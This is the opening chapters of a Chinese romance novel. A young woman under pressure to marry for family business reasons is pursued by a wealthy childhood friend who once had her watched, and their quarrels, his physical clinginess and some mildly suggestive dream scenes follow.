《月亮走向月亮》
1. 猎物
岳海市,机场。
上午十点多,机场出口停了五辆一模一样的宾利车。每辆车的车门口都站着一个身穿黑色西装的男人,目光注视着机场出口。
同样是来机场接人的,这场面自然是引起了其他人的注意。
但靳家行事一向高调,这次也不例外。躲在暗处的狗仔拿着相机,透过镜头看向机场出口。
——靳家二少爷要回国了,尽管这消息不算劲爆,但对于平静已久的娱乐媒体而言,也算是一桩新闻了。
半个小时后,飞机降落,乘客陆陆续续从机场内出来。
其中一人穿着一身黑色连帽卫衣,宽大的帽子戴上,近乎遮住了他大半张脸,墨镜架在鼻梁上,双手插兜朝出口走来。
走路的架势更是透着股不羁、傲气。
他两手空空,身后四个保镖推着行李箱。
隔着墨镜抬眼看向出口方向,墨镜后面的那双眼,锐利如鹰,像是在寻找他想要的“猎物”。
可惜,猎物没来。
她不想见他,甚至已经很久没有回他消息了。
小没良心的!
这笔账,他一点点跟她算清楚。
出了机场,正守在出口的靳家管家先一步打开中间那辆车的车门,“二少爷。”
靳佑抬腿跨进车内,扭过头看向车外。始终插在口袋里的手掏出来,食指勾着墨镜中梁下拉,露出那双含着戾气的双眼。
他目光落在站在一米开外的男人身上。
——今天来的那些人里面,也只有那个男人和别人穿的不一样,即便同样是西装,但别人穿的是黑色的,他穿的却是深蓝色。
男人双手自然垂下,见靳佑在看他,上前半步,“我是靳总的秘书,是靳总让我和管家一起来的。”
无非就是想看靳佑会不会老老实实的回来罢了。
墨镜中梁往上一推,靳佑靠在椅背上,没说话,但意思显而易见——可以走了。
靳家的老管家开着靳佑乘坐的车,其他人陆陆续续的上了别的车。
五辆黑色宾利车驶出,愈显严肃。
老管家开着车不敢说话,靳佑更是从下飞机到上车一句话都没有,坐在车里也只是静静的看向车外。
广告牌、建筑、高架桥、人群……逐一从车窗外闪过,但每次看到程家的广告牌,墨镜后面的那双眼都常常盯着看,甚至扭过头看。
程家生意这几年做的不错,看来那小没良心的日子应该过得也不错。
要不然,她怎么会不理他?
一想到她许久不曾回他消息,靳佑只觉得胸膛像是快要被气炸了,却还是压着怒火,薄唇吐出一口怨气,竭力保持平静的问一句:“她怎么样了?”
*
“程小姐应该和我一样,都是被逼无奈才出来见面的吧?”
男人喝了口咖啡,抬眼看向对面的程徽时,咖啡放下,抬手扶了扶眼镜腿,笑的温柔且疏离。
程徽几不可查的耸了下肩,口气带着股无奈的意味,“是啊,所以就只能出来应付一下。”
端起果汁喝了一口,她又说:“两家的长辈想联姻让你我联姻,我们就成了牺牲品,和商品一样。”
对面的韩畅淡淡的笑着,眼睫微微垂着,脸上的笑容也带着几分无奈。
都是被逼无奈才出来见面的,自然也就都不想答应联姻的事情。
至多就是坐在一起喝杯饮料。
片刻后,程徽还是说出了来这里的另一个目的,“韩家是开影视公司的,不知道方不方便说说圈子里几个适合做代言人的明星?最好是女明星。”
程家做的是护肤品生意,请代言人是必不可少的。
可如今的娱乐圈塌房事件频出,程氏集团上一个代言人不幸塌房,这件事已经过去一个多月了,直到现在都还没找到新的代言人。
这次知道她来见韩畅,姐姐特意叮嘱程徽——如果没有话题聊,就问问圈子里有没有合适的女代言人,别再让程家一不小心就挑中了塌房的代言人。
代言人要有代表作、自身能力至少要过得去,既然是要做护肤品的代言人,皮肤自然要好。
当然,最重要的是不能塌房。
或者,别那么早塌房。
说到代言人的话题,韩畅才开始畅所欲言,说了几个圈子里的女明星。
程徽一一记下来,又将名字打字发给姐姐。
直到两人从咖啡厅出来,程徽和韩畅又一起走了一段路,才各自开车离开。
路上程徽就收到了程母发来的消息:【和韩畅聊得怎么样?】
早就猜到她会问这件事,程徽盯着聊天栏,半晌才在对话框打出一句:【就那样】
才刚发过去,手机屏幕都还亮着,程母的消息轰炸就来了:
【就那样是怎么样?】
【你别跟我说韩畅也不适合你】
【人家韩畅是出了名的好脾气,要是他都不合适,我就不知道什么样的人才适合你了!】
【我看你就是不想联姻】
【不联姻也行,接着在公司上班,联姻和上班二选一,这件事没得商量】
看着一条接一条的消息弹出来,程徽正在打字的手慢慢停住。
半个月前,她提出不想在程家的公司上班了,想要自己出去创业。
那时程母就不答应,更是因为这事母女二人三天没说话。
最后程母给出了二选一的选择:要么程徽继续留在程家的公司上班,要么程徽就联姻,这样也能帮到程家的公司。
程母觉得知女莫若母。
女儿的性格她清楚,一定不会答应联姻的。
所以,看似是二选一,但在她看来却只有一个选择。
说到底,她还是要让程徽回去上班。
可意料之外的是程徽选择联姻——
程徽至今都记得自己说答应联姻的时候,程母的震惊,整个人都愣在原地,仿佛石化了。
那一瞬间,程徽却只有一个感受:爽!
此刻看着手机上弹出来的六十秒语音,不用听都知道,程母一定还是在劝她回去上班。
程徽没点开语音,手指快速的敲下六个字:【安排下一个吧】
不就是联姻嘛?有什么大不了的。
挑个满意的结婚,大不了以后再离。
可有一点,
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她是绝不会轻而易举就这么答应的。
手机扔到副驾驶的位置,程徽接着开车,手机却又响了一声,以为又是程母发来的消息,她没当回事,仍旧在忙着开车。
直到车子停在停车场,程徽乘坐电梯回自己的小公寓。
电梯内,她打开手机,赫然看到那仅响了一声的消息。
靳佑:【我回来了。】
消息点开,拇指将页面往下拉,靳佑早就已经跟她说过近期要回国,往后就留在岳海市了。他也说过要程徽去接他,可程徽没去,也没有回复他的消息。
近半年,她都没有回复靳佑一条消息。
上一次回复他,还是两人起争执的时候。
此刻她依旧是没回他消息。
手机收起,电梯门恰巧此时打开,她走出来,抬头看向走廊尽头,赫然入目一个熟悉身影——
他倚靠在墙上,黑色的连帽卫衣遮住脸,听见脚步声停下时,扭过头看过来。
他还戴着墨镜,程徽没看见他眼底的怨气,她只是缓缓的走近,淡然的像是没看见靳佑。
指纹开门,走进去。
一言不发,气的靳佑眼都红了。
但墨镜挡着,程徽看不见。
她进了门还是不说话,甚至没邀请他进去喝杯茶,只是门没关。
没关系,她不邀请,靳佑自己会走进去。
房门被靳佑关上,墨镜后面的那双眼紧盯着程徽的背影,他赌气的不开口,就等着程徽先开口。
可程徽却气定神闲的倒水喝,两口水入喉,杯子放在桌上,穿着拖鞋朝沙发走去,重重的跌坐在沙发上,似乎是一整天的疲累都随着身子跌入沙发。
打开电视,随意的找想看的电影。
不说话!还是不说话!
靳佑只觉得他迟早会被程徽气死。
单单是程徽这种不在乎他的样子,他就能被气疯。
几分钟后,眼看着程徽还是将他当成空气,靳佑再也忍不住,终究还是先开口:“为什么不回我消息?”
“不想回。”
干脆利落,简单直接。
口气还劲劲儿的,要多没良心就多没良心!
靳佑气笑了,声音不大不小的说了句:“真是没良心。”
墨镜取下放在玄关鞋柜上,换拖鞋后提脚走近。
“靳二少爷知道我没良心,以后就离我远点。”
程徽眼见他也要坐在沙发上,突然将电视关上,起身就要回卧室。却在跨出一步的瞬间,被人忽地从身后抱住。
结实胸膛贴上来,他顺势低头,下巴在她肩窝蹭了蹭。
又生气,又委屈。
像是个等待被抚摸的傲娇幼犬。
“你给我个台阶能死啊!”靳佑抱怨。
好歹给他个台阶,他就低头道歉了。
可她连台阶都不给他。
就这么晾着他,不回消息,不接电话,也不拉黑,就只是晾着。
更要紧的是她也不想他。
靳佑越想越委屈,近乎撒娇的说:“程徽,你哄哄我,你要什么我都给你。”
“我要你离我远点呢?”
2. 仇人
“不可能!”
靳佑没有一秒迟疑,就连环抱着程徽的双臂,也在一点点收紧。
他说:“我以后都不会离开,你也休想甩掉我。”
话音刚落,程徽的手机就响了一声。
屏幕亮起,两人正好都看见了程母发来的消息:【这周日上午十点去见诚运集团刘总的孙子。】
紧接着程母就将刘总孙子的手机号发了过来。
程徽盯着屏幕似笑非笑。
她说让安排下一个,母亲就这么安排上了,速度可真够快的。
拇指在屏幕上敲下一个好字,正要发过去,却被靳佑一把将手机夺走。
“靳佑!手机还……唔!”
话没说完就被靳佑一手捂住嘴,他另一手摁着手机屏幕说话:“阿姨,我靳佑,好久不见。徽徽应该没告诉你,我已经跟她在一起了,您那边不用跟她安排联姻的事情了。如果想要联姻……嘶!”
程徽双手用力的想要拉开捂住她嘴的大掌,可愣是没能扯开。
气的她张口就咬了一口靳佑的手。
疼的靳佑倒抽一口气,但摁着手机屏幕的手却没松开。他又接着说:“如果程家想要联姻,和靳家联姻应该是个不错的选择。”
说完,消息发出去。
他蔫坏儿的将手机高高举起,以防止程徽伸手夺下来,又将消息撤回。
程徽气的怒瞪着他,近乎用尽浑身力气猛地将他的手扯开。
她气的大骂:“靳佑你脑子有毛病吧!”
靳佑却吊儿郎当的笑说:“我脑子里面有你,还有点黄色废料。”
“……”出国几年,回来脸皮都厚了。
这种没脸没皮的话都能说出来。
懒得跟这人斗嘴,程徽伸出手:“把手机还我。”
靳佑却看着自己被咬过的那只手,又看了看程徽,手往前一伸,“你再咬我一口,我就把手机给你。”
程徽活了二十多年,没见过找虐的。
今天算是开了眼了!
靳佑却直勾勾的看着她,仿佛十分期待。
咬……也算触碰。
甚至是更深层次的触碰。
两人四目相对,她没下一步动作,靳佑也不曾将手收回来,只是盯着那张朝思暮想的容颜看。
过了几秒,靳佑有些委屈的说:“我很想你。”
喉结轻轻滚动,咽了下口水,脸上藏不住的失落。
他又重复:“很想。”
他很想她,可是程徽不想他。
要不然又怎么会没有去看过他?
他又抱怨:“当年是你来劝我出国读书的,你还说你会去国外看我,可你骗了我,你一次都没去过。”
手机慢慢放下,看着程徽手机上消息,目光落在两人的聊天栏上。
日日夜夜的思念涌上心头,眼底逐渐泛红。
他像个怨夫一样说:“你还喜欢上了别人!”
屋内安静,他低着头看程徽的手机,程徽却只是面无表情的看着他,慢吞吞的说:“但这不是你监视我的理由。”
*
当年靳家有意要送靳佑出国读书,可靳佑死活不愿意去。
知道靳佑听程徽的话,靳父便将程徽请去劝说靳佑。那时只有十八岁的程徽听靳父说,出国读书对靳佑有好处,于是她就好言相劝,让靳佑出国读书。
当然,她为此也敷衍的答应了靳佑许多事。
例如会出国去看他,例如会常常给他发消息。
可是进入大学后的生活,程徽早就玩疯了,更是在大二那年遇到了喜欢的人——纪修。
情窦初开,她小心翼翼的藏着自己的感情。
即便后来知道和纪修没可能,却还是偷偷地喜欢着他。
可纪修却莫名其妙的远离她。
那时她还以为是纪修讨厌她。
后来才知道,是有人暗中捣鬼,让纪修离她远点。
只可惜她知道的太迟了……
半年前,她无意间知道靳佑出国的这些年,一直都派人盯着她,更可怕的是连程家的佣人里面,也有靳佑安插进去的眼线。
他就差买个监控摄像头一直盯着她了!
也正是知道了被监视的事情,才顺藤摸瓜的查出了靳佑曾派人警告过纪修。一切的一切都串联起来,程徽怒不可遏,于是半年前两人之间爆发了一次争吵。
从那以后,程徽就再也不理他了。
消息不回,电话不接,甚至不曾在别人面前提起过他。
靳佑这两个字,像是彻底的从她世界里消失了。
可如今,这人又强势的想要闯入她的生活……
*
程徽提起监视的事情,靳佑理亏的无话可说,终究还是老老实实的离开了。
等程徽再次得知靳佑的消息时,是周六晚上,媒体报道的新闻上,说是靳佑已经进入靳家其中一家公司担任经理一职。
彼时,程母也正坐在沙发上看着这条新闻。
“靳佑现在已经进入云瑾公司任职了,看样子靳总是要把那家小公司交给他练手。”
程母一边说着一边暗暗留意着程徽的神色,“以后靳家的公司迟早是要交给他的,说起来程家要是能和靳家联姻,就更好了。要不刘总那孙子你就别见了,直接和靳佑联姻吧?”
她明知道这半年期间“靳佑”二字成了程徽最不能听见的字眼,却还
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是故意说要二人联姻。
程徽脸色再难维持往日的淡然平静,一时,连说话的口气也急了,“我不可能和他联姻。”
“为什么不可能?”
程母话问出口,程徽的手机也紧跟着响了。
是个陌生号码打来的。
直接挂断,她又接着和程母说:“我和靳佑之间,这辈子都不可能,我不会和他结婚。他上次说的那些话,也都是在胡言乱语。”
程母将手里的水果叉放下,一副恨铁不成钢的模样看着她,“行啊,不和他联姻,那就明天上午去见刘总的孙子,我倒是要看看你能见多少人。”
说完站起身,提脚朝着二楼卧室走去。
程家的规矩,每周周六的晚饭,只要人在岳海市,就必须回程家吃饭。但今天不凑巧,程父和姐姐程禧都出差了,就只有程徽回来。
母女二人,见面和仇人一样,都在刻意的挑对方不喜欢听的话说。
即便此刻程母上到二楼,却还是在回房间之前说了一句:“年纪轻轻的,只想着联姻,真是没出息,我怎么生出来这么个女儿!”
声音不大不小,只是恰好能让程徽听见。
程徽仰头看去,程母也正好在那一瞬间进门,卧室的门被关上。
楼上楼下死寂一片。
就连才刚从厨房出来的陈妈也不敢出声,连走路都蹑手蹑脚的。
连程家的佣人们也不懂,明明程徽才是程母的亲生女儿,可为什么程母却偏爱那个与她没有血缘关系的程禧?
程徽也不明白,但有一点她十分肯定——
程禧,她同父异母的姐姐,不仅仅是程母心底里最在意的人,也是她心里最最最重要的人。
*
当晚程徽没在程家住下,反而开车回了自己的公寓。洗漱后换上睡衣,头发都还没来得及吹干,手机就响了。
还是同样的陌生号码,一个晚上打两次,程徽犹豫两秒才接通。
电话那头传来吵闹的声音,似乎是在酒吧。
程徽又看了看那个号码,确认没见过这个号码,还以为是对方打错了,就要挂断,却听电话那头突然静了下来。
似乎是去了一个安静的地方。
“徽徽,我喝了酒,你来接我好不好?”
是靳佑的声音。
大概知道程徽不会接他的电话,才刻意的换了个号码打过来。
程徽也听出来了,他说话时舌头都像是捋不直了,显然是没少喝。
她说:“把地址发给我,我跟靳大哥打电话,让他去接你。”
“我要你来接我,”一阵风吹进听筒中,也吹散了靳佑的后半句话,“和以前一样,带我回去。”
3. 宿敌
酒吧门口,灯光昏暗,来来往往的车辆走走停停。靳佑命人搬了把椅子来,就坐在门口等,掌心中的手机不停翻转。
他半阖着眼,任由秋风吹拂侧脸,身上的黑色大衣犹如无边黑雾,将他笼罩其中。
面无表情,不时打开屏幕查看聊天栏。
——他给程徽发了位置,程徽却没有回他消息。
不知等了多久,直到面前赫然出现一双锃亮的皮鞋时,靳佑转动手机的大掌才停下来。
抬眼,看向面前的人。
是靳家长子靳承来了,也是他的大哥。
尽管酒吧门口的灯光昏暗,可靳承还是看得出来,靳佑在看见他的一刹那,眼底冷了下来。
对他的到来感到生气,对程徽没来感到失望。
兄弟二人对视两秒,靳佑轻讪着扭过头,吊儿郎当的翘起二郎腿,掌心中的手机也再次被他翻转。
浑身上下就透着两个字——生气。
靳承早就料到他会是这副模样,但还是平静的说:“回去吧。”
靳佑却没有要起身离开的打算,薄唇微张,字正腔圆的吐出一个字:“滚。”
平静的,不带有一点怒气。
却又像是暴风雨前的平静。
明明是亲兄弟,却更像是仇人。
靳承也不生气,似乎早就已经习惯了靳佑的这幅样子。他只是像个长辈一样劝说:“阿佑,感情的事情不能强求,而且小徽的性格——”
话没说完,靳佑噌的站起身。
刹那间,靳承的衬衫衣领被猝不及防的扯住!
“听不懂人话吗?”他低吼:“我让你滚!”
他怒瞪着面前这张脸,垂下的拳头手背青筋凸显,仿佛下一秒就要对着靳承的脸狠狠地挥出一拳。
实在是靳佑动作太快,前后不足两秒,靳承甚至没有躲避的机会。
他声音也出奇的大,四周的人都看了过来。
正躲在暗处的程徽见势头不对,赶忙走出来,“靳佑!”
听见熟悉的声音,靳佑顷刻间浑身戾气散去,攥着靳承衣领的手也慢慢松开。犹如猛虎收起了锋利的爪子,只剩下肉乎乎的肉垫。
可仍旧是暗暗的看了眼靳承,眼神中藏着警告。
似是在警告他:别告状!
眼神敛回的瞬间,又一脸委屈的朝着程徽走去,抱怨:“你怎么才来?”
“……”靳承抬手扶额。
自家这亲弟弟在程徽面前,是要多乖顺有多乖顺。
被拿捏得死死地。
但程徽都来了,靳承留下也只是被喂狗粮,“小徽,我先回车上,等会儿你劝他回去。”
“好。”程徽一口应下。
靳承转身刚走,靳佑就双臂伸展要将程徽抱进怀里,却被程徽猛地一推——
他踉跄两步,眼见就要摔倒,程徽又下意识伸出手。
大掌顺势拉住她的手,只稍稍用力一扯,便将人带入怀中。
他稳稳的站着,程徽也被他彻彻底底的困在怀中。
他低笑着在她耳边说:“你还是在意我的,是不是?”
“不是。”
程徽试图推开他,却发现这人力气出奇的大,她即便用尽了全身力气,也没能推动他。
最后只能命令:“松手!”
“你承认你在意我,我就松手。”
痴心妄想!
程徽几乎没有半点犹豫,抬手就在他腰间掐了下。
可靳佑却像是没感觉似的。
依旧紧紧的抱着她。
甚至在她耳边轻轻的说一句:“我在国外有健身,腹肌练得很好,你要不要摸摸看?”
“……不摸。”
“胸肌练的也很好,要摸吗?”
“……不摸。”
“那别的地方呢?或者你想要摸哪里,我都可以。你要是不想摸,咬我也好,兴许你咬我一口,我就放开你了。”
程徽只觉得,这人多少是沾点大病。
但不可否认的是她刚刚是想过咬他,觉得他或许会因为疼痛而松开她,可又怕让这人如意了,也就没咬。
幸好,没咬。
“我不想跟你废话,我还要回去休息。现在、立刻、马上松开我!”程徽口气强硬。
靳佑却依旧没有要松开她的打算,反而用大衣将人裹起来。她只穿了一件薄款长袖连衣裙,此刻被他这么抱着,二人之间只隔了两层薄薄的布料。
大概是因为喝了酒的原因,她能清楚感觉到他身体灼热。
她还是头一次和男人这么亲密无间,莫名的耳根发烫。
程徽又一次说:“靳佑,放开我。”
可靳佑却像是没听见,自顾自的说着:“我昨天晚上梦见你了,在梦里我们结婚了,还做了夫妻之间该做的事。”
“可是醒来以后,还是只有我一个人在房间。”
夫妻间该做的事?
这话怎么听起来像是春梦?
“靳佑你不会是做春梦了吧?”
春梦的对象还是她!
靳佑嗯了声,“我还让你在上面了。”
口气傲娇,像是对梦境中的这一举动十分满意,一副坐等表扬的模样。
“……我真是谢你!”变态大魔王梦里面还知道让她在上面,程徽彻底笑不出来。
“不用谢,应该的。”靳佑一点都没听出来程徽的言外之意,甚至没听出来她对此事的不满。
他又小声问:“那我今天能去你那住吗?我发誓什么都不做。当然了,你要是想做点别的,我也可以顺从的答应。”
“不可以。”程徽没有一秒犹豫,更不想对靳佑做点什么。
“你现在就松开我,去靳大哥的车上,跟他回去。我还要回去休息。”
同居一夜的白日梦没能成真。
可靳佑还是抱着她腻歪了许久,程徽都不记得自己说过多少次让他松手了,但都被靳佑忽略了。
直到近半个小时后,靳佑才依依不舍的松开她,被程徽催促着回到车上。
却也是被程徽推着坐到车上。
直到眼看着靳承的车子驶远,程徽才长舒一口气。
来见靳佑一趟,真是要了命了!
但这一夜也让她清晰的认识到——
她和靳佑之间,不适合直面交锋。
力气上,两人悬殊太大。
脸皮厚度而言,她也根本不是靳佑的对手。
这人在国外也不知道吃了什么玩意儿,怎么脸皮这么厚?
程徽开车回去的路上,一路都在想靳佑的变化,直到洗漱睡觉,脑子里又不受控的想起靳佑的那些话。
最后得出结论:他就是个流氓!
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流氓是真的,不要脸是真的,春梦被复刻进程徽的梦境中也是真的……
次日上午,等程徽醒来时,脑子里仍旧都是梦中缠绵的余韵。
依旧是她上他下,吊带睡衣的其中一根带子从肩头滑落,露出一片春光,她甚至能看见镜子中自己的模样,妩媚、勾魂,可更诱人的是靳佑的低喘。
程徽默默地吞了下口水。
要了命了!
活了二十多年,头一次做这种梦,甚至是和靳佑一起!
奇怪了,怎么能是跟他呢?
伸出手,拿到床头的手机,打开某度,输入问题:做春梦是什么原因?
但却迟迟没能摁下搜索键。
程徽犹豫两秒,删除,重新输入:梦见和朋友……
她和靳佑现在甚至不算朋友。
搜索栏删掉朋友二字,又一次重新输入:梦见和宿敌做.爱,是什么原因?
点击搜索,搜索结果出现的一刹那,程徽无意间扫到手机屏幕顶端的时间——10:12
十点十二分了!
今天还是周日!!
约了和刘总孙子见面的时间就是今天上午十点!!
完了完了!迟到了!
程徽急忙坐起身,给之前程母发来的那个手机号打去电话。
毕竟已经十点多了,等她赶到地方恐怕已经十一点多了,先打电话说一声也算礼貌。
电话那头铃声响了几声才被接通。
男人的声音传过来:“程小姐?”
“是我,不好意思,我忘记设置闹钟了,睡过头了。如果现在赶过去估计需要一个小时左右才能到,您看是要继续等,还是咱们改日再约?”程徽说着就掀开被子下床,提脚往洗手间走去。
男人却有些疑惑的问:“程小姐的男朋友前两天已经给我打过电话了,说是取消相亲见面。程小姐不知道这件事吗?”
程徽脚下一顿,愣了。
男朋友?!
她哪儿来的男朋友?
脑子里瞬间蹦出了一人——靳佑。
“你是说靳佑?”
“是啊,他说你们之间现在是地下恋情,双方父母还不知情,所以就直接给我打电话,让我不用去见你,而且还让我对程太太也暂且保密。靳先生觉得抱歉,昨天还特意跟我们刘家的公司签了一份合同,现在我们是合作关系了。”
抱歉?哼!
他那是得意吧!
竟然还偷偷摸摸的阻拦了这场见面。
程徽气的咬牙切齿,皮笑肉不笑的说:“我和他不是男女朋友关系。不过既然不用见面就算了,打扰了。”
男人随口应了声没事,随后两人同时挂断电话。
“混蛋,竟然还敢算计我,我跟你没完!”
程徽说着就给姐姐打去电话,等电话接通,她赶忙说:“姐,公司新产品的套盒,今天能找出来二十盒吗?我出钱。”
“可以。不过你要那么多套盒干什么?”
“给靳伯父送去。”
“靳总?给他送套盒干什么?咱们这一款产品是女士用的护肤品。”
“做人情、打广告、算计靳佑。”
虽然是女士专用的护肤品,但靳总能拿来发给公司下属,也算是在靳家公司内部打个广告,最最最要紧的是她要去靳总面前——告状!!算计靳佑!!
4. 冤家
上午十一点多,程徽开车赶到了靳家最大一家公司——骞朝集团。
来的路上已经打电话问过靳总的秘书,得知靳总在十一点半到十二点之间有时间,她才敢开车过来。
等她找前台吩咐人拿着二十盒套盒坐电梯去楼上,出电梯时,正好十一点半。
靳总的秘书正在办公室门口等着,见程徽带着人出现在视野中,冲着她淡淡一笑示意,绅士的先将办公室的门打开。
程徽带着人走进去,热情的打招呼,“靳伯父,好久不见。”
靳总大手一挥,在最后一份文件上签下名字,盖上印章。闻声抬头看去,“小徽,你可有些日子没来了,快坐。”
说着将文件拿起,顺手递给一并跟进来的秘书。
秘书接下,与其他几个进来送套盒的员工一起出去。
办公室内只剩下二人,忽地静了下来。
看见二十盒套盒被摞在桌上,靳总上下一打量,程徽赶忙解释:“这是我们公司的新产品,想着来靳伯父这,总不能空手来,所以就带几盒套盒。虽说靳伯父用不上,不过可以发给公司女同事,算是我的一点心意,也算是帮我们公司打个广告。”
话说的清楚明白,打广告的小心思也没瞒着。
靳总听后笑呵呵的点头:“好。”
抬手一伸,引向沙发。
“快坐。”
办公室内摆放着三张沙发,二人缓缓落座,靳总倾身倒了杯茶,推到程徽面前,旋即才给自己倒杯茶。
他笑着问:“今天来,应该是有什么事吧?”
“来伯父这,可千万别客气,有事就直说。”
尽管程徽和靳总见面次数不超过十次,可此人一身儒雅气质,说话时也总是带着笑脸,程徽在他面前倒也不觉得胆怯,反倒是大胆直言。
此刻同样是不绕弯子,直接说:“靳伯父果然是火眼金睛,一眼就看出我来找您有事了。那我就不耽误您的时间,有话直说了。”
“我觉得阿佑那边,工作量有点小。”
给那混蛋多加点工作量,到时候看他还怎么去纠缠她!
靳总端起茶,喝了一口才说:“那臭小子又去打扰你了吧?”
说完扭过头看程徽,眉头下压。
“别跟那小子一般计较,回头伯父教训他。”
“不用教训,多给他安排点工作量就好。”
程徽目的明确,靳总笑着点头:“好,我今天就把这事安排上,明天就给他加工作量,让他少去打扰你。”
*
目的达到,程徽也没再久留,与靳总又寒暄几句,客气的说些让他照顾好身体的话,随后便道别,起身离开了办公室。
大概是目的达到的原因,程徽心情格外的好。
只可惜从电梯内出来,程徽脸上的笑容登时消失的无影无踪,目光紧紧地盯着面前的熟人——又是靳佑。
冤家!妥妥的冤家!
要不然她怎么会走哪都能碰见这混蛋?
靳佑双手插兜,看见程徽从电梯内出来似乎也不惊讶,眼神中透着股尽在掌握之中的自信。
似乎在说:我就知道你会来这!
“靳二少爷真是好本事,轻而易举就让刘总的孙子不去和我见面了。”程徽阴阳怪气的说着,脚下已然绕过他往门口走。
“多谢夸奖。”靳佑没脸没皮的笑着,双手插兜跟在她身边,“不过你最好是打消了去见别人的念头,有我在,就不可能让你去见那些人的。”
“程徽,你这辈子就只可能嫁给我。”
程徽脚下一顿,仰头瞪他。
只可惜低他一头,即便是瞪他,却因为身高的原因,像是有些气势不足。
“我这辈子都不可能嫁给你,下辈子也不可能!”说话间目光鬼使神差的落在了他领带上。
昨夜的梦境中,她上他下,身下的靳佑白衬衫凌乱,仅有一颗扣子还扣着,黑色领带绑着他的双手,被高举过头顶。
他今天同样是系的黑色领带……
梦境中的一幕太过清晰,程徽只是想了一下,一张脸唰的红了,连耳根都红了个彻底。
她心虚的转身就走,更像是在逃。
靳佑却又一次跟了上去。
“你脸红什么?”大长腿三步并作两步,轻而易举的追上了程徽,扭着头看她,“你在想什么?”
“我——我什么都没想!”程徽心虚的说话都有点不利索,看着凑到眼前的那张脸,更是下意识抬手将他的脸推开,“离我远点。”
靳佑嘴角噙着坏,笑的别有深意,见程徽依旧要走,照旧紧跟上去,“你是不是在想我?而且还是带点少儿不宜的那种。”
“谁想你了?!”
程徽脱口而出,愣了两秒,又说:“你才想少儿不宜的事呢!”
四周都是商业大厦,即便有空地也都建成了停车场,路边的街道上也多是咖啡厅。此刻又正是上班时间,几条街道上都静的出奇。
显得两人之间的对话都格外清晰。
程徽警惕的看向四周,见没有其他人影出现,才低声警告:“离我远点,别跟我说话,也别说你的想法。”
她就是因为昨晚
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听了靳佑的话,才会做春梦。
这玩意儿一定传染!
离他远点为妙。
“可以。你过来抱我一下,我就不跟着你了。”靳佑伸开双臂,等着程徽主动过来抱他。
程徽睨了他一眼,丢下俩字:“有病!”
意料之内的反应,靳佑笑的得意。
眼见程徽要走,大掌伸出,一把拉住她的手腕,将人带入怀里。
她还是被他紧紧地抱着。
自从这人回来,两人见了三面,次次都被他抱着,还次次都挣脱不开。
反正也挣脱不开,这次程徽索性不动了。
下颌被迫仰头抵在他肩窝,程徽心下盘算着,或许是时候学拳击了。
说不定学了拳击就能应付这混蛋了。
下一秒,靳佑的双臂忽地收紧。
两人之间亲密无间,似乎也只有如此,他才能感觉到程徽是真真切切在他身边的。
他说:“徽徽,你不讨厌我抱你。”
不是在问她,而是笃定。
被他这么一说,程徽才察觉到,她似乎是不排斥靳佑抱她。
“现在至少你的灵魂和肉身都不排斥我。”靳佑深深地吸了口气,提及了他最不愿意提的事情:“只是还在为当初我找人监视你的事情生气。”
提起监视的事情,程徽的脸色一冷。
这混蛋还有脸提这事!
“排斥!我怎么可能不排斥你!灵魂和肉身都排斥!现在立刻松开我!”
监视的事情不能提,一旦提起,程徽就像是点燃的炸药一样。
靳佑一本正经的给出解决办法:“我准许你监视我,360度无死角监视。准你在我房间里装上监控摄像头,浴室、洗手间都装上,你可以看见我洗澡的样子,我任何样子你都能看到。”
“这样我们就算是扯平了,好不好?”
好不好?!
好个鬼啊!
他是变态,还要把她带成变态!
“变态果然只能想出来变态的办法。”
程徽趁其不备,猛地一脚踩在他脚尖上。
靳佑吃痛,登时松开了她。
他疼的倒抽凉气,只敢一只脚站着,却因站不稳而不断地单腿跳。但即便如此,还是没忘正事:“我都准许你看我的身体了,这还不行吗?”
“不行,我对你的身体不感兴趣!”
程徽气的转身就走,靳佑看着她的背影却笑了出来。
明明不排斥他,却还嘴硬的说排斥。
不过,只要她不排斥他,他就有机会!
5. 陌生人
意料之外的是当晚程禧突然出差赶回来了。
她没有第一时间回程家,反倒是在处理好公司的事情后,先联系了程徽,姐妹二人去了附近的火锅店。
店内生意好,热闹也吵闹。
两人找了个靠角落的位置,点了两人都爱吃的菜,程徽又忙前忙后的去调酱料,折返回位置上,程禧已经给两人倒好了茶水,也将程徽喜欢的水果,特意放在她面前。
“你不是说要过两天才回来吗?怎么今天突然回来了?”程徽将煮好的牛肉夹起,放在程禧碗里,好奇问:“该不会是担心我吧?”
“是有点担心你。不过你现在也长大了,很多事情能自己处理了,我担心也是多余的。”程禧望向她的眼神都格外的温柔,仿佛眼前不是已经将要二十三岁的程徽,而是曾经那个她看着长大的小团子。
“对了,今天去见靳总,情况怎么样?”
“有我出马,当然顺利达到目的啦!”
程徽说的一脸骄傲。
但想到靳佑,又觉得另一件事奇怪,“姐,你说靳佑是不是猜到我今天会去找靳伯父告状了?”
她将这几天的事情一一道来,但也刻意隐瞒了春梦的事情。等一切说完,她才说出心中猜想:“靳佑好像知道我要做什么。”
程禧轻点了下头,“照你这么说,阿佑应该是知道你要做什么。不过你们两个从小就认识,这么多年了,也算是彼此了解,他能猜到你想做什么,不稀奇。”
“谁跟他彼此了解!”
那个变态流氓,她可不了解。
更猜不出来他想做什么!
“我跟他之间,早就是陌生人了。从当初那件事开始,我们就算是陌生人了。”
关于靳佑曾经找人监视她这件事,她只跟程禧说过,就连程母也不知情。
那时程禧知道靳佑找人监视她也觉得惊讶,但对于二人之间过家家似的“绝交”,她自然没多说,更不可能劝说程徽就这么算了。
只是今天再次提起这件事,程禧却问出了当初就觉得好奇的事情:“小徽,你有没有想过,阿佑为什么会连续三年都不回国?”
虽说是出国读书,但每年也有假期。
按理说,靳佑如果真的这么在乎程徽,又怎么可能会连续三年都不回来?
这其中,或许另有隐情。
“这我怎么知道?可能……可能是他不想回来?”程徽还真没想过这件事,只知道她喜欢的人被靳佑想办法给赶走了。
在国外也没挡住他多管闲事!
“小徽,”程禧有些严肃的喊她,程徽抬眼看过来,她认真询问:“你感觉阿佑是个什么样的人?”
“变态、流氓、脸皮厚、多少是有点毛病的人!”
程徽几乎没有犹豫半秒就直接回答,说的又急又快,像是这答案早就已经刻在她脑子里了。
程禧弯弯唇角,自家妹妹这心直口快又有点毒舌的劲儿,还是一点没变。
可这只是表象,也不是程禧想听到的答案。
她不紧不慢的跟程徽解释:“小徽,我是说你感觉阿佑是个什么样的人?不要只凭着自己看到的、听到的就给出答案,有些时候感觉要比视觉、听觉更准确。”
“就像生意场上,有时候就算调查出来合作方没有任何问题,但如果感觉不对劲,我们就不会立刻去签合同。”
“你那么聪明,应该明白我是什么意思。”
话说到这份上,程徽再不懂就傻了。
